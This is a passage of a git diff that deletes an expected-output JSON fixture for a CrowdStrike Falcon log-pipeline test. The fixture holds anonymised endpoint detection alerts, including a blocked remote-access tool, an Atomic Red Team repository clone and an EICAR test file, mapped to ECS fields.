Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3","MitreAttack":[{"Tactic":"Execution","Technique":"User Execution","PatternID":10418}]},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751371899000,"eventType":"EppDetectionSummaryEvent","offset":1956190,"version":"1.0"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log-expected.json deleted file mode 100644 index 758781333e..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log-expected.json +++ /dev/null @@ -1,3117 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2023-06-15T16:06:52.400Z", - "crowdstrike": { - "event": { - "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902", - "AssociatedFile": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe", - "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333", - "DataDomains": "Endpoint", - "Description": "This file is classified as Adware/PUP based on its SHA256 hash.", - "GrandparentCommandLine": "C:\\Windows\\system32\\services.exe", - "GrandparentImageFileName": "services.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe", - "HostGroups": [ - "ba7f8041fd6c47dcae4cff3194861088", - "c8d1292a8a904216aa25ab728f4b45fd" - ], - "IOCType": "hash_sha256", - "IOCValue": "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976", - "MACAddress": "01-23-45-67-89-ab", - "Objective": "Falcon Detection Method", - "ParentImageFileName": "rutserv.exe", - "ParentImageFilePath": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": true, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 2048, - "PatternId": "5728", - "SensorId": "c8d1292a8a904216aa25ab728f4b45fd", - "Severity": 30, - "SeverityName": "Low", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Type": "ldt" - }, - "metadata": { - "customerIDString": "123123abcd", - "eventType": "EppDetectionSummaryEvent", - "offset": 1, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Prevention, process was blocked from execution.", - "category": [ - "malware" - ], - "created": "2023-06-15T16:06:52.400Z", - "kind": "alert", - "original": "{\"metadata\":{\"customerIDString\":\"123123abcd\",\"offset\":1,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1686845212400,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1718032715,\"ProcessEndTime\":1718032715,\"ProcessId\":43009301133,\"ParentProcessId\":25841449898,\"Hostname\":\"DESKTOP1111\",\"UserName\":\"USER11111\",\"Name\":\"NGAV\",\"Description\":\"This file is classified as Adware/PUP based on its SHA256 hash.\",\"Severity\":30,\"SeverityName\":\"Low\",\"FileName\":\"rfusclient.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\",\"CommandLine\":\"\\\"C:\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\\\" /rsession\",\"SHA256String\":\"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976\",\"MD5String\":\"848a53dc549be0386e5da0f49700c389\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"OVAC\",\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"01-23-45-67-89-ab\",\"Tactic\":\"Malware\",\"Technique\":\"PUP\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Prevention, process was blocked from execution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"rutserv.exe\",\"ParentCommandLine\":\"\\\"C:\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rutserv.exe\\\"\",\"GrandParentImageFileName\":\"services.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\services.exe\",\"HostGroups\":\"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\",\"PatternId\":5728,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rutserv.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\services.exe\",\"LocalIPv6\":\"\"}}", - "reference": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "848a53dc549be0386e5da0f49700c389", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976" - }, - "name": "rfusclient.exe", - "path": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe" - }, - "host": { - "domain": "OVAC", - "name": "DESKTOP1111" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "\"C:\\Program", - "Files", - "(x86)\\Remote", - "Utilities", - "-", - "Host\\rfusclient.exe\"", - "/rsession" - ], - "command_line": "\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession", - "end": "2024-06-10T15:18:35.000Z", - "entity_id": "43009301133", - "executable": "\"C:\\Program", - "name": "rfusclient.exe", - "parent": { - "args": [ - "\"C:\\Program", - "Files", - "(x86)\\Remote", - "Utilities", - "-", - "Host\\rutserv.exe\"" - ], - "command_line": "\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"", - "entity_id": "25841449898", - "executable": "\"C:\\Program", - "pid": 25841449898 - }, - "pid": 43009301133, - "start": "2024-06-10T15:18:35.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976", - "848a53dc549be0386e5da0f49700c389" - ], - "hosts": [ - "DESKTOP1111" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "USER11111" - ] - }, - "rule": { - "name": "NGAV" - }, - "source": { - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.144" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Malware" - ] - }, - "technique": { - "name": [ - "PUP" - ] - } - }, - "user": { - "name": "USER11111" - } - }, - { - "@timestamp": "2023-06-15T16:06:52.400Z", - "crowdstrike": { - "event": { - "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111", - "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333", - "DataDomains": "Endpoint", - "Description": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.", - "FilesWritten": [ - { - "FileName": "test_upx_header_changed", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "test_upx", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "CreateProcessWithPipe.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "T1055.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.004/bin/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "msys-2.0.dll", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "calc.dll", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1047/bin/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "T1055.011_x64.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.011/bin/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "EtwpCreateEtwThread.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "CreateProcess.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "T1036.003.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1036.003/bin/", - "Timestamp": "2024-06-25T10:06:06.000Z" - } - ], - "GrandparentCommandLine": "/usr/sbin/sshd -D -R", - "GrandparentImageFileName": "sshd", - "GrandparentImageFilePath": "/usr/sbin/sshd", - "HostGroups": [ - "44be50f58ccfcfcfcfcfcfcfcffc" - ], - "MACAddress": "02-42-d8-66-fe-03", - "Objective": "Falcon Detection Method", - "ParentImageFileName": "bash", - "ParentImageFilePath": "/usr/bin/bash", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": true, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": true, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 272, - "PatternId": "30115", - "SensorId": "c8d1292a8a904216aa25ab728f4b45fd", - "Severity": 70, - "SeverityName": "High", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Type": "ldt" - }, - "metadata": { - "customerIDString": "123123abcd", - "eventType": "EppDetectionSummaryEvent", - "offset": 1, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Detection, process would have been killed if related prevention policy setting was enabled.", - "category": [ - "malware" - ], - "created": "2023-06-15T16:06:52.400Z", - "kind": "alert", - "original": "{\"metadata\":{\"customerIDString\":\"123123abcd\",\"offset\":1,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1686845212400,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1719309930,\"ProcessEndTime\":0,\"ProcessId\":1719309930613520072,\"ParentProcessId\":1719308637781199091,\"Hostname\":\"linux-vm\",\"UserName\":\"azureuser\",\"Name\":\"Known Malware\",\"Description\":\"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"git\",\"FilePath\":\"/usr/bin/git\",\"CommandLine\":\"git clone https://github.com/redcanaryco/atomic-red-team.git\",\"SHA256String\":\"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc\",\"MD5String\":\"675853ca01ec441df7a015b91a7e1272\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"\",\"FilesWritten\":[{\"Timestamp\":1719309966,\"FileName\":\"test_upx_header_changed\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"test_upx\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcessWithPipe.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"msys-2.0.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/\"},{\"Timestamp\":1719309966,\"FileName\":\"calc.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1047/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.011_x64.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"EtwpCreateEtwThread.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcess.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1036.003.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/\"}],\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"172.17.0.1\",\"MACAddress\":\"02-42-d8-66-fe-03\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"PatternDispositionValue\":272,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":true,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"bash\",\"ParentCommandLine\":\"-bash\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"HostGroups\":\"44be50f58ccfcfcfcfcfcfcfcffc\",\"PatternId\":30115,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"LocalIPv6\":\"\"}}", - "reference": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999", - "severity": 73, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "675853ca01ec441df7a015b91a7e1272", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc" - }, - "name": "git", - "path": "/usr/bin/git" - }, - "host": { - "name": "linux-vm" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "git", - "clone", - "https://github.com/redcanaryco/atomic-red-team.git" - ], - "command_line": "git clone https://github.com/redcanaryco/atomic-red-team.git", - "entity_id": "1719309930613520072", - "executable": "git", - "name": "git", - "parent": { - "args": [ - "-bash" - ], - "command_line": "-bash", - "entity_id": "1719308637781199091", - "executable": "-bash", - "pid": 1719308637781199091 - }, - "pid": 1719309930613520072, - "start": "2024-06-25T10:05:30.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc", - "675853ca01ec441df7a015b91a7e1272" - ], - "hosts": [ - "linux-vm" - ], - "ip": [ - "172.17.0.1" - ], - "user": [ - "azureuser" - ] - }, - "rule": { - "name": "Known Malware" - }, - "source": { - "ip": "172.17.0.1" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Malware" - ] - }, - "technique": { - "name": [ - "Malicious File" - ] - } - }, - "user": { - "name": "azureuser" - } - }, - { - "@timestamp": "2023-06-15T16:06:52.400Z", - "crowdstrike": { - "event": { - "CompositeId": "7da61e27e34f4b8394081896af72e2c7", - "DataDomains": "Endpoint", - "HostGroups": [ - "2a5927e82d644aa9", - "be74ccf2c2f444cf900" - ], - "MACAddress": "88-44-66-77-11-22", - "Objective": "Falcon Detection Method", - "SensorId": "1122025ec596478d830520000000000", - "Severity": 70, - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Type": "ods" - }, - "metadata": { - "customerIDString": "123123abcd", - "eventType": "EppDetectionSummaryEvent", - "offset": 1, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "malware" - ], - "created": "2023-06-15T16:06:52.400Z", - "kind": "alert", - "original": "{\"metadata\":{\"customerIDString\":\"123123abcd\",\"offset\":1,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1686845212400,\"version\":\"1.0\"},\"event\":{\"Hostname\":\"FRHOSTNAME\",\"Name\":\"OnDemandScanfiletest\",\"Severity\":70,\"FileName\":\"testfile.vmx\",\"FilePath\":\"D:\\\\RECYCLER\\\\testpath\\\\testfile.vmx\",\"SHA256String\":\"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1\",\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections\",\"AgentId\":\"1122025ec596478d830520000000000\",\"CompositeId\":\"7da61e27e34f4b8394081896af72e2c7\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"88-44-66-77-11-22\",\"Tactic\":\"Machine Learning\",\"Technique\":\"Sensor-based ML\",\"Objective\":\"Falcon Detection Method\",\"HostGroups\":\"2a5927e82d644aa9,be74ccf2c2f444cf900\",\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"Type\":\"ods\",\"LocalIPv6\":\"\"}}", - "reference": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections", - "type": [ - "info" - ] - }, - "file": { - "hash": { - "sha256": "774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1" - }, - "name": "testfile.vmx", - "path": "D:\\RECYCLER\\testpath\\testfile.vmx" - }, - "host": { - "name": "FRHOSTNAME" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "name": "testfile.vmx" - }, - "related": { - "hash": [ - "774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1" - ], - "hosts": [ - "FRHOSTNAME" - ], - "ip": [ - "81.2.69.144" - ] - }, - "rule": { - "name": "OnDemandScanfiletest" - }, - "source": { - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.144" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Machine Learning" - ] - }, - "technique": { - "name": [ - "Sensor-based ML" - ] - } - } - }, - { - "@timestamp": "2023-06-15T16:06:52.400Z", - "crowdstrike": { - "event": { - "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111", - "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333", - "DataDomains": "Endpoint", - "Description": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.", - "FilesWritten": [ - { - "FileName": "test_upx_header_changed", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "test_upx", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "CreateProcessWithPipe.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "T1055.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.004/bin/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "msys-2.0.dll", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "calc.dll", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1047/bin/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "T1055.011_x64.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.011/bin/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "EtwpCreateEtwThread.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "CreateProcess.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "T1036.003.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1036.003/bin/", - "Timestamp": "2024-06-25T10:06:06.000Z" - } - ], - "GrandparentCommandLine": "/usr/sbin/sshd -D -R", - "GrandparentImageFileName": "sshd", - "GrandparentImageFilePath": "/usr/sbin/sshd", - "HostGroups": [ - "44be50f58ccfcfcfcfcfcfcfcffc" - ], - "LocalIPv6": "2a02:cf40::", - "MACAddress": "02-42-d8-66-fe-03", - "Objective": "Falcon Detection Method", - "ParentImageFileName": "bash", - "ParentImageFilePath": "/usr/bin/bash", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": true, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": true, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 272, - "PatternId": "30115", - "SensorId": "c8d1292a8a904216aa25ab728f4b45fd", - "Severity": 70, - "SeverityName": "High", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Type": "ldt" - }, - "metadata": { - "customerIDString": "123123abcd", - "eventType": "EppDetectionSummaryEvent", - "offset": 1, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Detection, process would have been killed if related prevention policy setting was enabled.", - "category": [ - "malware" - ], - "created": "2023-06-15T16:06:52.400Z", - "kind": "alert", - "original": "{\"metadata\":{\"customerIDString\":\"123123abcd\",\"offset\":1,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1686845212400,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1719309930,\"ProcessEndTime\":0,\"ProcessId\":1719309930613520072,\"ParentProcessId\":1719308637781199091,\"Hostname\":\"linux-vm\",\"UserName\":\"azureuser\",\"Name\":\"Known Malware\",\"Description\":\"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"git\",\"FilePath\":\"/usr/bin/git\",\"CommandLine\":\"git clone 